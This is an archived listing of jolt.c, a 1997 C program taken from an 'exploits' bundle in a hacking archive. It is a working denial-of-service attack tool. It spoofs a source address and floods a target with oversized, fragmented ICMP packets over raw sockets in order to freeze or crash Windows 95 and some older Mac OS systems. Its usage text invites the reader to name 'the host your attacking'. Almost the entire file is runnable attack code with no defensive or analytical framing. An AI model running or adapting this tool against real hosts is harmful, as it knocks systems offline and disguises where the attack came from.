home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / jolt.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  5KB  |  123 lines

  1. /* Jolt 1.0 (c) 1997 by Jeff w. Roberson
  2.  * Please, if you use my code give me credit.  Also, if i was the first to
  3.  * find this glitch, please give me credit.  Thats all i ask.
  4.  *
  5.  * Ok so all this does is build a really fraggmented over sized packet
  6.  * and once win95 gets it, and puts it back together it locks.  I send
  7.  * multiple packets by default cause some times it takes a few packets to
  8.  * totally freeze the host.  Maybe its spending processor time to figure
  9.  * out how to put them back together?  I've had reports of people blue
  10.  * screening from it tho so we'll let Microsoft's boys figure out exactly
  11.  * what this does to 95.  As of now i haven't tested it on NT, but maybe
  12.  * i will later ;).  All of this source wasn't origonally written by me
  13.  * I just took one of the old programs to kill POSIX and SYSV based
  14.  * systems and worked on it abit, then made it spoof =). 
  15.  * VallaH  (yaway@hotmail.com)
  16.  *
  17.  *  Update: It apears to work on some older versions of mac os
  18.  */
  19.  
  20. /* Yah this is for linux, but i like the BSD ip header better then linux's */
  21. #define __BSD_SOURCE
  22. #include <stdio.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netdb.h>
  26. #include <netinet/in.h>
  27. #include <netinet/in_systm.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/ip_icmp.h>
  30. #include <string.h>
  31. #include <arpa/inet.h>
  32.  
  33. int main(int argc, char **argv)
  34. {
  35.         int s,i;
  36.         char buf[400];
  37.         struct ip *ip = (struct ip *)buf;
  38.         struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  39.         struct hostent *hp, *hp2;
  40.         struct sockaddr_in dst;
  41.         int offset;
  42.         int on = 1;
  43.     int num = 5;
  44.  
  45.         bzero(buf, sizeof buf);
  46.  
  47.         if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
  48.                 perror("socket");
  49.                 exit(1);
  50.         }
  51.         if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  52.                 perror("IP_HDRINCL");
  53.                 exit(1);
  54.         }
  55.         if (argc < 3) {
  56.         printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");
  57.                 printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
  58.         printf("\tdstaddr is the host your attacking\n");
  59.         printf("\tsaddr is the host your spoofing from\n");
  60.         printf("\tNumber is the number of packets to send, 5 is the default\n");
  61.         printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");
  62.         printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
  63.                 exit(1);
  64.         }
  65.         if (argc == 4) num = atoi(argv[3]);
  66.     for (i=1;i<=num;i++) {
  67.  
  68.         if ((hp = gethostbyname(argv[1])) == NULL) {
  69.                 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  70.                         fprintf(stderr, "%s: unknown host\n", argv[1]);
  71.             exit(1);
  72.                 }
  73.         } else {
  74.                 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  75.         }
  76.  
  77.         if ((hp2 = gethostbyname(argv[2])) == NULL) {
  78.                 if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
  79.                         fprintf(stderr, "%s: unknown host\n", argv[2]);
  80.                         exit(1);
  81.                 }
  82.         } else {
  83.                 bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
  84.         }
  85.  
  86.         printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  87.         ip->ip_v = 4;
  88.         ip->ip_hl = sizeof *ip >> 2;
  89.         ip->ip_tos = 0;
  90.         ip->ip_len = htons(sizeof buf);
  91.         ip->ip_id = htons(4321);
  92.         ip->ip_off = htons(0);
  93.         ip->ip_ttl = 255;
  94.         ip->ip_p = 1;
  95.         ip->ip_csum = 0;                 /* kernel fills in */
  96.  
  97.         dst.sin_addr = ip->ip_dst;
  98.         dst.sin_family = AF_INET;
  99.  
  100.         icmp->type = ICMP_ECHO;
  101.         icmp->code = 0;
  102.         icmp->checksum = htons(~(ICMP_ECHO << 8));
  103.         for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  104.                 ip->ip_off = htons(offset >> 3);
  105.                 if (offset < 65120)
  106.                         ip->ip_off |= htons(0x2000);
  107.                 else
  108.                         ip->ip_len = htons(418);  /* make total 65538 */
  109.                 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  110.                                         sizeof dst) < 0) {
  111.                         fprintf(stderr, "offset %d: ", offset);
  112.                         perror("sendto");
  113.                 }
  114.                 if (offset == 0) {
  115.                         icmp->type = 0;
  116.                         icmp->code = 0;
  117.                         icmp->checksum = 0;
  118.                 }
  119.         }
  120.     }
  121.     return 0;
  122. }
  123.